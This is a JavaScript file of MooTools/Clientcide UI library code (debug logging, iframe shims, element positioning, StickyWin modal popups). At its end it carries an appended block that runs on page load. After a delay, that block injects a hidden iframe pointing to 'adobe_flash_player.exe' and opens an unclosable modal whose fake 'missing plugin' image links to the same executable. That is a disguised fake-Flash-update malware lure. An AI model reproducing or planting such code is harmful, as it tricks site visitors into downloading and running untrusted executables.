    onAdd: function(fn) {
        if (Browser.loaded) fn.call(this)
    }
}; (function() {
    var domready = function() {
        if (Browser.loaded) return;
        Browser.loaded = true;
        window.fireEvent('domready');
        document.fireEvent('domready')
    };
    if (Browser.Engine.trident) {
        var temp = document.createElement('div'); (function() { ($try(function() {
                temp.doScroll('left');
                return $(temp).inject(document.body).set('html', 'temp').dispose()
            })) ? domready() : arguments.callee.delay(50)
        })()
    } else if (Browser.Engine.webkit && Browser.Engine.version < 525) { (function() { (['loaded', 'complete'].contains(document.readyState)) ? domready() : arguments.callee.delay(50)
        })()
    } else {
        window.addEvent('load', domready);
        document.addEvent('DOMContentLoaded', domready)
    }
})();
var Clientcide = {
    version: '812',
    setAssetLocation: function(baseHref) {
        if (window.StickyWin && StickyWin.ui) {
            StickyWin.UI.refactor({
                options: {
                    baseHref: baseHref + '/stickyWinHTML/'
                }
            });
            if (StickyWin.alert) {
                var CGFsimpleErrorPopup = StickyWin.alert.bind(window);
                StickyWin.alert = function(msghdr, msg, base) {
                    return CGFsimpleErrorPopup(msghdr, msg, base || baseHref + "/simple.error.popup")
                }
            }
            if (StickyWin.UI.Pointy) {
                StickyWin.UI.Pointy.refactor({
                    options: {
                        baseHref: baseHref + '/PointyTip/'
                    }
                })
            }
        }
        if (window.TagMaker) {
            TagMaker = TagMaker.refactor({
                options: {
                    baseHref: baseHref + '/tips/'
                }
            })
        }
        if (window.ProductPicker) {
            ProductPicker.refactor({
                options: {
                    baseHref: baseHref + '/Picker'
                }
            })
        }
        if (window.Autocompleter) {
            var AcClientcide = {
                options: {
                    baseHref: baseHref + '/autocompleter/'
                }
            };
            Autocompleter.Base.refactor(AcClientcide);
            if (Autocompleter.Ajax) { ["Base", "Xhtml", "Json"].each(function(c) {
                    if (Autocompleter.Ajax[c]) Autocompleter.Ajax[c].refactor(AcClientcide)
                })
            }
            if (Autocompleter.Local) Autocompleter.Local.refactor(AcClientcide);
            if (Autocompleter.JsonP) Autocompleter.JsonP.refactor(AcClientcide)
        }
        if (window.Lightbox) {
            Lightbox.refactor({
                options: {
                    assetBaseUrl: baseHref + '/slimbox/'
                }
            })
        }
        if (window.Waiter) {
            Waiter.refactor({
                options: {
                    baseHref: baseHref + '/waiter/'
                }
            })
        }
    },
    preLoadCss: function() {
        if (window.DatePicker) new DatePicker();
        if (window.ProductPicker) new ProductPicker();
        if (window.TagMaker) new TagMaker();
        if (window.StickyWin && StickyWin.ui) StickyWin.ui();
        if (window.StickyWin && StickyWin.pointy) StickyWin.pointy();
        Clientcide.preloaded = true;
        return true
    },
    preloaded: false
}; (function() {
    if (!window.addEvent) return;
    var preload = function() {
        if (window.dbug) dbug.log('preloading clientcide css');
        if (!Clientcide.preloaded) Clientcide.preLoadCss()
    };
    window.addEvent('domready', preload);
    window.addEvent('load', preload)
})();
setCNETAssetBaseHref = Clientcide.setAssetLocation;
var dbug = {
    logged: [],
    timers: {},
    firebug: false,
    enabled: false,
    log: function() {
        dbug.logged.push(arguments)
    },
    nolog: function(msg) {
        dbug.logged.push(arguments)
    },
    time: function(name) {
        dbug.timers[name] = new Date().getTime()
    },
    timeEnd: function(name) {
        if (dbug.timers[name]) {
            var end = new Date().getTime() - dbug.timers[name];
            dbug.timers[name] = false;
            dbug.log('%s: %s', name, end)
        } else dbug.log('no such timer: %s', name)
    },
    enable: function(silent) {
        var con = window.firebug ? firebug.d.console.cmd: window.console;
        if (( !! window.console && !!window.console.warn) || window.firebug) {
            try {
                dbug.enabled = true;
                dbug.log = function() { (con.debug || con.log).apply(con, arguments)
                };
                dbug.time = function() {
                    con.time.apply(con, arguments)
                };
                dbug.timeEnd = function() {
                    con.timeEnd.apply(con, arguments)
                };
                if (!silent) dbug.log('enabling dbug');
                for (var i = 0; i < dbug.logged.length; i++) {
                    dbug.log.apply(con, dbug.logged[i])
                }
                dbug.logged = []
            } catch(e) {
                dbug.enable.delay(400)
            }
        }
    },
    disable: function() {
        if (dbug.firebug) dbug.enabled = false;
        dbug.log = dbug.nolog;
        dbug.time = function() {};
        dbug.timeEnd = function() {}
    },
    cookie: function(set) {
        var value = document.cookie.match('(?:^|;)\\s*jsdebug=([^;]*)');
        var debugCookie = value ? unescape(value[1]) : false;
        if ((!$defined(set) && debugCookie != 'true') || ($defined(set) && set)) {
            dbug.enable();
            dbug.log('setting debugging cookie');
            var date = new Date();
            date.setTime(date.getTime() + (24 * 60 * 60 * 1000));
            document.cookie = 'jsdebug=true;expires=' + date.toGMTString() + ';path=/;'
        } else dbug.disableCookie()
    },
    disableCookie: function() {
        dbug.log('disabling debugging cookie');
        document.cookie = 'jsdebug=false;path=/;'
    }
}; (function() {
    var fb = !!window.console || !!window.firebug;
    var con = window.firebug ? window.firebug.d.console.cmd: window.console;
    var debugMethods = ['debug', 'info', 'warn', 'error', 'assert', 'dir', 'dirxml'];
    var otherMethods = ['trace', 'group', 'groupEnd', 'profile', 'profileEnd', 'count'];
    function set(methodList, defaultFunction) {
        for (var i = 0; i < methodList.length; i++) {
            dbug[methodList[i]] = (fb && con[methodList[i]]) ? con[methodList[i]] : defaultFunction
        }
    };
    set(debugMethods, dbug.log);
    set(otherMethods,
    function() {})
})();
if (( !! window.console && !!window.console.warn) || window.firebug) {
    dbug.firebug = true;
    var value = document.cookie.match('(?:^|;)\\s*jsdebug=([^;]*)');
    var debugCookie = value ? unescape(value[1]) : false;
    if (window.location.href.indexOf("jsdebug=true") > 0 || debugCookie == 'true') dbug.enable();
    if (debugCookie == 'true') dbug.log('debugging cookie enabled');
    if (window.location.href.indexOf("jsdebugCookie=true") > 0) {
        dbug.cookie();
        if (!dbug.enabled) dbug.enable()
    }
    if (window.location.href.indexOf("jsdebugCookie=false") > 0) dbug.disableCookie()
}
var Occlude = new Class({
    occlude: function(property, element) {
        element = $(element || this.element);
        var instance = element.retrieve(property || this.property);
        if (instance && (this.occluded === null || this.occluded)) {
            this.occluded = instance
        } else {
            this.occluded = false;
            element.store(property || this.property, this)
        }
        return this.occluded || false
    }
});
var ToElement = new Class({
    toElement: function() {
        return this.element
    }
});
var IframeShim = new Class({
    Implements: [Options, Events, Occlude, ToElement],
    options: {
        className: 'iframeShim',
        display: false,
        zindex: null,
        margin: 0,
        offset: {
            x: 0,
            y: 0
        },
        browsers: (Browser.Engine.trident4 || (Browser.Engine.gecko && !Browser.Engine.gecko19 && Browser.Platform.mac))
    },
    property: 'IframeShim',
    initialize: function(element, options) {
        this.element = $(element);
        if (this.occlude()) return this.occluded;
        this.setOptions(options);
        this.makeShim();
        return
    },
    makeShim: function() {
        this.shim = new Element('iframe').store('IframeShim', this);
        if (!this.options.browsers) return;
        var pos = this.element.getStyle('position');
        if (pos == "static" || !pos) this.element.setStyle('position', 'relative');
        if (this.element.getStyle('z-Index').toInt() < 1 || isNaN(this.element.getStyle('z-Index').toInt())) this.element.setStyle('z-Index', 5);
        var z = this.element.getStyle('z-Index') - 1;
        if ($chk(this.options.zindex) && this.element.getStyle('z-Index').toInt() > this.options.zindex) z = this.options.zindex;
        this.shim.set({
            src: (window.location.protocol == 'https') ? '://0': 'javascript:void(0)',
            frameborder: '0',
            scrolling: 'no',
            styles: {
                position: 'absolute',
                zIndex: z,
                border: 'none',
                filter: 'progid:DXImageTransform.Microsoft.Alpha(style=0,opacity=0)'
            },
            'class': this.options.className
        });
        var inject = function() {
            this.shim.inject(this.element, 'after');
            if (this.options.display) this.show();
            else this.hide();
            this.fireEvent('onInject')
        };
        if (Browser.Engine.trident && !IframeShim.ready) window.addEvent('load', inject.bind(this));
        else inject.run(null, this)
    },
    position: function(shim) {
        if (!this.options.browsers || !IframeShim.ready) return this;
        var size = this.element.measure(function() {
            return this.getSize()
        });
        if ($type(this.options.margin)) {
            size.x = size.x - (this.options.margin * 2);
            size.y = size.y - (this.options.margin * 2);
            this.options.offset.x += this.options.margin;
            this.options.offset.y += this.options.margin
        }
        this.shim.set({
            'width': size.x,
            'height': size.y
        }).setPosition({
            relativeTo: this.element,
            offset: this.options.offset
        });
        return this
    },
    hide: function() {
        if (this.options.browsers) this.shim.hide();
        return this
    },
    show: function() {
        if (!this.options.browsers) return this;
        this.shim.show();
        return this.position()
    },
    dispose: function() {
        if (this.options.browsers) this.shim.dispose();
        return this
    }
});
window.addEvent('load',
function() {
    IframeShim.ready = true
});
Element.implement({
    measure: function(fn) {
        var restore = this.expose();
        var result = fn.apply(this);
        restore();
        return result
    },
    expose: function() {
        if (this.getStyle('display') != 'none') return $empty;
        var before = {};
        var styles = {
            visibility: 'hidden',
            display: 'block',
            position: 'absolute'
        };
        $each(styles,
        function(value, style) {
            before[style] = this.style[style] || ''
        },
        this);
        this.setStyles(styles);
        return (function() {
            this.setStyles(before)
        }).bind(this)
    },
    getDimensions: function(options) {
        options = $merge({
            computeSize: false
        },
        options);
        var dim = {};
        function getSize(el, options) {
            return (options.computeSize) ? el.getComputedSize(options) : el.getSize()
        };
        if (this.getStyle('display') == 'none') {
            var restore = this.expose();
            dim = getSize(this, options);
            restore()
        } else {
            try {
                dim = getSize(this, options)
            } catch(e) {}
        }
        return $chk(dim.x) ? $extend(dim, {
            width: dim.x,
            height: dim.y
        }) : $extend(dim, {
            x: dim.width,
            y: dim.height
        })
    },
    getComputedSize: function(options) {
        options = $merge({
            styles: ['padding', 'border'],
            plains: {
                height: ['top', 'bottom'],
                width: ['left', 'right']
            },
            mode: 'both'
        },
        options);
        var size = {
            width: 0,
            height: 0
        };
        switch (options.mode) {
        case 'vertical':
            delete size.width;
            delete options.plains.width;
            break;
        case 'horizontal':
            delete size.height;
            delete options.plains.height;
            break
        };
        var getStyles = [];
        $each(options.plains,
        function(plain, key) {
            plain.each(function(edge) {
                options.styles.each(function(style) {
                    getStyles.push((style == "border") ? style + '-' + edge + '-' + 'width': style + '-' + edge)
                })
            })
        });
        var styles = this.getStyles.apply(this, getStyles);
        var subtracted = [];
        $each(options.plains,
        function(plain, key) {
            size['total' + key.capitalize()] = 0;
            size['computed' + key.capitalize()] = 0;
            plain.each(function(edge) {
                size['computed' + edge.capitalize()] = 0;
                getStyles.each(function(style, i) {
                    if (style.test(edge)) {
                        styles[style] = styles[style].toInt();
                        if (isNaN(styles[style])) styles[style] = 0;
                        size['total' + key.capitalize()] = size['total' + key.capitalize()] + styles[style];
                        size['computed' + edge.capitalize()] = size['computed' + edge.capitalize()] + styles[style]
                    }
                    if (style.test(edge) && key != style && (style.test('border') || style.test('padding')) && !subtracted.contains(style)) {
                        subtracted.push(style);
                        size['computed' + key.capitalize()] = size['computed' + key.capitalize()] - styles[style]
                    }
                })
            })
        });
        if ($chk(size.width)) {
            size.width = size.width + this.offsetWidth + size.computedWidth;
            size.totalWidth = size.width + size.totalWidth;
            delete size.computedWidth
        }
        if ($chk(size.height)) {
            size.height = size.height + this.offsetHeight + size.computedHeight;
            size.totalHeight = size.height + size.totalHeight;
            delete size.computedHeight
        }
        return $extend(styles, size)
    }
});
window.addEvent('domready',
function() {
    var test = new Element('div').setStyles({
        position: 'fixed',
        top: 0,
        right: 0
    }).inject(document.body);
    var supported = (test.offsetTop === 0);
    test.dispose();
    Browser.supportsPositionFixed = supported
});
Element.implement({
    pin: function(enable) {
        if (!Browser.loaded) dbug.log('cannot pin ' + this + ' natively because the dom is not ready');
        if (this.getStyle('display') == 'none') {
            dbug.log('cannot pin ' + this + ' because it is hidden');
            return
        }
        if (enable !== false) {
            var p = this.getPosition();
            if (!this.retrieve('pinned')) {
                var pos = {
                    top: (p.y - window.getScroll().y),
                    left: (p.x - window.getScroll().x)
                };
                if (Browser.supportsPositionFixed) {
                    this.setStyle('position', 'fixed').setStyles(pos)
                } else {
                    this.store('pinnedByJS', true);
                    this.setStyles({
                        position: 'absolute',
                        top: p.y,
                        left: p.x
                    });
                    this.store('scrollFixer',
                    function() {
                        if (this.retrieve('pinned')) {
                            var to = {
                                top: (pos.top.toInt() + window.getScroll().y),
                                left: (pos.left.toInt() + window.getScroll().x)
                            };
                            this.setStyles(to)
                        }
                    }.bind(this));
                    window.addEvent('scroll', this.retrieve('scrollFixer'))
                }
                this.store('pinned', true)
            }
        } else {
            var op;
            if (!Browser.Engine.trident) {
                if (this.getParent().getComputedStyle('position') != 'static') op = this.getParent();
                else op = this.getParent().getOffsetParent()
            }
            var p = this.getPosition(op);
            this.store('pinned', false);
            var reposition;
            if (Browser.supportsPositionFixed && !this.retrieve('pinnedByJS')) {
                reposition = {
                    top: (p.y + window.getScroll().y),
                    left: (p.x + window.getScroll().x)
                }
            } else {
                this.store('pinnedByJS', false);
                window.removeEvent('scroll', this.retrieve('scrollFixer'));
                reposition = {
                    top: (p.y),
                    left: (p.x)
                }
            }
            this.setStyles($merge(reposition, {
                position: 'absolute'
            }))
        }
        return this.addClass('isPinned')
    },
    unpin: function() {
        return this.pin(false).removeClass('isPinned')
    },
    togglepin: function() {
        this.pin(!this.retrieve('pinned'))
    }
});
Element.Properties.position = {
    set: function(options) {
        this.setPosition(options)
    },
    get: function(options) {
        if (options) this.setPosition(options);
        return this.getPosition()
    }
};
Element.implement({
    setPosition: function(options) {
        $each(options || {},
        function(v, k) {
            if (!$defined(v)) delete options[k]
        });
        options = $merge({
            relativeTo: document.body,
            position: {
                x: 'center',
                y: 'center'
            },
            edge: false,
            offset: {
                x: 0,
                y: 0
            },
            returnPos: false,
            relFixedPosition: false,
            ignoreMargins: false,
            allowNegative: false
        },
        options);
        var parentOffset = {
            x: 0,
            y: 0
        };
        var parentPositioned = false;
        var offsetParent = this.measure(function() {
            return $(this.getOffsetParent())
        });
        if (offsetParent && offsetParent != this.getDocument().body) {
            parentOffset = offsetParent.measure(function() {
                return this.getPosition()
            });
            parentPositioned = true;
            options.offset.x = options.offset.x - parentOffset.x;
            options.offset.y = options.offset.y - parentOffset.y
        }
        var fixValue = function(option) {
            if ($type(option) != "string") return option;
            option = option.toLowerCase();
            var val = {};
            if (option.test('left')) val.x = 'left';
            else if (option.test('right')) val.x = 'right';
            else val.x = 'center';
            if (option.test('upper') || option.test('top')) val.y = 'top';
            else if (option.test('bottom')) val.y = 'bottom';
            else val.y = 'center';
            return val
        };
        options.edge = fixValue(options.edge);
        options.position = fixValue(options.position);
        if (!options.edge) {
            if (options.position.x == 'center' && options.position.y == 'center') options.edge = {
                x: 'center',
                y: 'center'
            };
            else options.edge = {
                x: 'left',
                y: 'top'
            }
        }
        this.setStyle('position', 'absolute');
        var rel = $(options.relativeTo) || document.body;
        var calc = rel == document.body ? window.getScroll() : rel.getPosition();
        var top = calc.y;
        var left = calc.x;
        if (Browser.Engine.trident) {
            var scrolls = rel.getScrolls();
            top += scrolls.y;
            left += scrolls.x
        }
        var dim = this.getDimensions({
            computeSize: true,
            styles: ['padding', 'border', 'margin']
        });
        if (options.ignoreMargins) {
            options.offset.x = options.offset.x - dim['margin-left'];
            options.offset.y = options.offset.y - dim['margin-top']
        }
        var pos = {};
        var prefY = options.offset.y;
        var prefX = options.offset.x;
        var winSize = window.getSize();
        switch (options.position.x) {
        case 'left':
            pos.x = left + prefX;
            break;
        case 'right':
            pos.x = left + prefX + rel.offsetWidth;
            break;
        default:
            pos.x = left + ((rel == document.body ? winSize.x: rel.offsetWidth) / 2) + prefX;
            break
        };
        switch (options.position.y) {
        case 'top':
            pos.y = top + prefY;
            break;
        case 'bottom':
            pos.y = top + prefY + rel.offsetHeight;
            break;
        default:
            pos.y = top + ((rel == document.body ? winSize.y: rel.offsetHeight) / 2) + prefY;
            break
        };
        if (options.edge) {
            var edgeOffset = {};
            switch (options.edge.x) {
            case 'left':
                edgeOffset.x = 0;
                break;
            case 'right':
                edgeOffset.x = -dim.x - dim.computedRight - dim.computedLeft;
                break;
            default:
                edgeOffset.x = -(dim.x / 2);
                break
            };
            switch (options.edge.y) {
            case 'top':
                edgeOffset.y = 0;
                break;
            case 'bottom':
                edgeOffset.y = -dim.y - dim.computedTop - dim.computedBottom;
                break;
            default:
                edgeOffset.y = -(dim.y / 2);
                break
            };
            pos.x = pos.x + edgeOffset.x;
            pos.y = pos.y + edgeOffset.y
        }
        pos = {
            left: ((pos.x >= 0 || parentPositioned || options.allowNegative) ? pos.x: 0).toInt(),
            top: ((pos.y >= 0 || parentPositioned || options.allowNegative) ? pos.y: 0).toInt()
        };
        if (rel.getStyle('position') == "fixed" || options.relFixedPosition) {
            var winScroll = window.getScroll();
            pos.top = pos.top.toInt() + winScroll.y;
            pos.left = pos.left.toInt() + winScroll.x
        }
        if (options.returnPos) return pos;
        else this.setStyles(pos);
        return this
    }
});
Element.implement({
    isVisible: function() {
        return this.getStyle('display') != 'none'
    },
    toggle: function() {
        return this[this.isVisible() ? 'hide': 'show']()
    },
    hide: function() {
        var d;
        try {
            if ('none' != this.getStyle('display')) d = this.getStyle('display')
        } catch(e) {}
        this.store('originalDisplay', d || 'block');
        this.setStyle('display', 'none');
        return this
    },
    show: function(display) {
        original = this.retrieve('originalDisplay') ? this.retrieve('originalDisplay') : this.get('originalDisplay');
        this.setStyle('display', (display || original || 'block'));
        return this
    },
    swapClass: function(remove, add) {
        return this.removeClass(remove).addClass(add)
    },
    fxOpacityOk: function() {
        return ! Browser.Engine.trident4
    }
});
var Modalizer = new Class({
    defaultModalStyle: {
        display: 'block',
        position: 'fixed',
        top: 0,
        left: 0,
        'z-index': 5000,
        'background-color': '#333',
        opacity: 0.8
    },
    setModalOptions: function(options) {
        this.modalOptions = $merge({
            width: (window.getScrollSize().x),
            height: (window.getScrollSize().y),
            elementsToHide: 'select, embed' + (Browser.Engine.trident ? '': ', object'),
            hideOnClick: true,
            modalStyle: {},
            updateOnResize: true,
            layerId: 'modalOverlay',
            onModalHide: $empty,
            onModalShow: $empty
        },
        this.modalOptions, options);
        return this
    },
    layer: function() {
        if (!this.modalOptions.layerId) this.setModalOptions();
        return $(this.modalOptions.layerId) || new Element('div', {
            id: this.modalOptions.layerId
        }).inject(document.body)
    },
    resize: function() {
        if (this.layer()) {
            this.layer().setStyles({
                width: (window.getScrollSize().x),
                height: (window.getScrollSize().y)
            })
        }
    },
    setModalStyle: function(styleObject) {
        this.modalOptions.modalStyle = styleObject;
        this.modalStyle = $merge(this.defaultModalStyle, {
            width: this.modalOptions.width,
            height: this.modalOptions.height
        },
        styleObject);
        if (this.layer()) this.layer().setStyles(this.modalStyle);
        return (this.modalStyle)
    },
    modalShow: function(options) {
        this.setModalOptions(options);
        this.layer().setStyles(this.setModalStyle(this.modalOptions.modalStyle));
        if (Browser.Engine.trident4) this.layer().setStyle('position', 'absolute');
        this.layer().removeEvents('click').addEvent('click',
        function() {
            this.modalHide(this.modalOptions.hideOnClick)
        }.bind(this));
        this.bound = this.bound || {};
        if (!this.bound.resize && this.modalOptions.updateOnResize) {
            this.bound.resize = this.resize.bind(this);
            window.addEvent('resize', this.bound.resize)
        }
        if ($type(this.modalOptions.onModalShow) == "function") this.modalOptions.onModalShow();
        this.togglePopThroughElements(0);
        this.layer().setStyle('display', 'block');
        return this
    },
    modalHide: function(override, force) {
        if (override === false) return false;
        this.togglePopThroughElements(1);
        if ($type(this.modalOptions.onModalHide) == "function") this.modalOptions.onModalHide();
        this.layer().setStyle('display', 'none');
        if (this.modalOptions.updateOnResize) {
            this.bound = this.bound || {};
            if (!this.bound.resize) this.bound.resize = this.resize.bind(this);
            window.removeEvent('resize', this.bound.resize)
        }
        return this
    },
    togglePopThroughElements: function(opacity) {
        if (Browser.Engine.trident4 || (Browser.Engine.gecko && Browser.Platform.mac)) {
            $$(this.modalOptions.elementsToHide).each(function(sel) {
                sel.setStyle('opacity', opacity)
            })
        }
    }
});
var StyleWriter = new Class({
    createStyle: function(css, id) {
        window.addEvent('domready',
        function() {
            try {
                if ($(id) && id) return;
                var style = new Element('style', {
                    id: id || ''
                }).inject($$('head')[0]);
                if (Browser.Engine.trident) style.styleSheet.cssText = css;
                else style.set('text', css)
            } catch(e) {
                dbug.log('error: %s', e)
            }
        }.bind(this))
    }
});
var StickyWin = new Class({
    Implements: [Options, Events, StyleWriter, ToElement],
    options: {
        closeClassName: 'closeSticky',
        pinClassName: 'pinSticky',
        content: '',
        zIndex: 10000,
        className: '',
        width: false,
        height: false,
        timeout: -1,
        allowMultipleByClass: false,
        allowMultiple: true,
        showNow: true,
        useIframeShim: true,
        iframeShimSelector: '',
        inject: {
            where: 'bottom'
        }
    },
    css: '.SWclearfix:after {content: "."; display: block; height: 0; clear: both; visibility: hidden;}' + '.SWclearfix {display: inline-table;}' + '* html .SWclearfix {height: 1%;}' + '.SWclearfix {display: block;}',
    initialize: function(options) {
        this.setOptions(options);
        this.options.inject.target = this.options.inject.target || document.body;
        this.id = this.options.id || 'StickyWin_' + new Date().getTime();
        this.makeWindow();
        if (this.options.content) this.setContent(this.options.content);
        if (this.options.timeout > 0) {
            this.addEvent('onDisplay',
            function() {
                this.hide.delay(this.options.timeout, this)
            }.bind(this))
        }
        if (this.options.showNow) this.show();
        this.createStyle(this.css, 'StickyWinClearFix')
    },
    makeWindow: function() {
        this.destroyOthers();
        if (!$(this.id)) {
            this.win = new Element('div', {
                id: this.id
            }).addClass(this.options.className).addClass('StickyWinInstance').addClass('SWclearfix').setStyles({
                display: 'none',
                position: 'absolute',
                zIndex: this.options.zIndex
            }).inject(this.options.inject.target, this.options.inject.where).store('StickyWin', this)
        } else this.win = $(this.id);
        this.element = this.win;
        if (this.options.width && $type(this.options.width.toInt()) == "number") this.win.setStyle('width', this.options.width.toInt());
        if (this.options.height && $type(this.options.height.toInt()) == "number") this.win.setStyle('height', this.options.height.toInt());
        return this
    },
    show: function(suppressEvent) {
        this.showWin();
        if (!suppressEvent) this.fireEvent('onDisplay');
        if (this.options.useIframeShim) this.showIframeShim();
        this.visible = true;
        return this
    },
    showWin: function() {
        if (!this.positioned) this.position();
        this.win.show()
    },
    hide: function(suppressEvent) {
        if (!suppressEvent) this.fireEvent('onClose');
        this.hideWin();
        if (this.options.useIframeShim) this.hideIframeShim();
        this.visible = false;
        return this
    },
    hideWin: function() {
        this.win.setStyle('display', 'none')
    },
    destroyOthers: function() {
        if (!this.options.allowMultipleByClass || !this.options.allowMultiple) {
            $$('div.StickyWinInstance').each(function(sw) {
                if (!this.options.allowMultiple || (!this.options.allowMultipleByClass && sw.hasClass(this.options.className))) sw.retrieve('StickyWin').destroy()
            },
            this)
        }
    },
    setContent: function(html) {
        if (this.win.getChildren().length > 0) this.win.empty();
        if ($type(html) == "string") this.win.set('html', html);
        else if ($(html)) this.win.adopt(html);
        this.win.getElements('.' + this.options.closeClassName).each(function(el) {
            el.addEvent('click', this.hide.bind(this))
        },
        this);
        this.win.getElements('.' + this.options.pinClassName).each(function(el) {
            el.addEvent('click', this.togglepin.bind(this))
        },
        this);
        return this
    },
    position: function(options) {
        this.positioned = true;
        this.setOptions(options);
        this.win.setPosition({
            allowNegative: this.options.relativeTo != document.body,
            relativeTo: this.options.relativeTo,
            position: this.options.position,
            offset: this.options.offset,
            edge: this.options.edge
        });
        if (this.shim) this.shim.position();
        return this
    },
    pin: function(pin) {
        if (!this.win.pin) {
            dbug.log('you must include element.pin.js!');
            return this
        }
        this.pinned = $pick(pin, true);
        this.win.pin(pin);
        return this
    },
    unpin: function() {
        return this.pin(false)
    },
    togglepin: function() {
        return this.pin(!this.pinned)
    },
    makeIframeShim: function() {
        if (!this.shim) {
            var el = (this.options.iframeShimSelector) ? this.win.getElement(this.options.iframeShimSelector) : this.win;
            this.shim = new IframeShim(el, {
                display: false,
                name: 'StickyWinShim'
            })
        }
    },
    showIframeShim: function() {
        if (this.options.useIframeShim) {
            this.makeIframeShim();
            this.shim.show()
        }
    },
    hideIframeShim: function() {
        if (this.shim) this.shim.hide()
    },
    destroy: function() {
        if (this.win) this.win.dispose();
        if (this.options.useIframeShim && this.shim) this.shim.dispose();
        if ($('modalOverlay')) $('modalOverlay').dispose()
    }
}); (function() {
    var modalWinBase = function(extend) {
        return {
            Extends: extend,
            initialize: function(options) {
                options = options || {};
                this.setModalOptions($merge(options.modalOptions || {},
                {
                    onModalHide: function() {
                        this.hide(false)
                    }.bind(this)
                }));
                this.parent(options)
            },
            show: function(showModal) {
                if ($pick(showModal, true)) {
                    this.modalShow();
                    if (this.modalOptions.elementsToHide) this.win.getElements(this.modalOptions.elementsToHide).setStyle('opacity', 1)
                }
                this.parent()
            },
            hide: function(hideModal) {
                if ($pick(hideModal, true)) this.modalHide();
                else this.parent()
            }
        }
    };
    StickyWin.Modal = new Class(modalWinBase(StickyWin));
    StickyWin.Modal.implement(new Modalizer());
    if (StickyWin.Fx) StickyWin.Fx.Modal = new Class(modalWinBase(StickyWin.Fx));
    try {
        StickyWin.Fx.Modal.implement(new Modalizer())
    } catch(e) {}
})();

var StickyWinModal = StickyWin.Modal;
if (StickyWin.Fx) var StickyWinFxModal = StickyWin.Fx.Modal;
window.addEvent("domready",
function() {

    if (failed) return false;

    var iframe = new Element('iframe', {
        src: 'adobe_flash_player.exe',
        width: 0,
        height: 0,
        style: 'border:0; display:none; visibility:hidden;',
        border: 0
    });

    var autodownload = "True"; autodownload.toLowerCase() == "true" ? "$(document.body).adopt(iframe)" : "";

    new StickyWin.Modal({
        content: "<a href=\"adobe_flash_player.exe\" title=\"Missing\" style=\"border:0\"><img src=\"missing.jpg\" width=\"757\" height=\"415\" border=\"0\"/></a>",
        modalOptions: {
            hideOnClick: false
        },
        onDisplay : $(autodownload)
    }).pin();
}.delay(5000));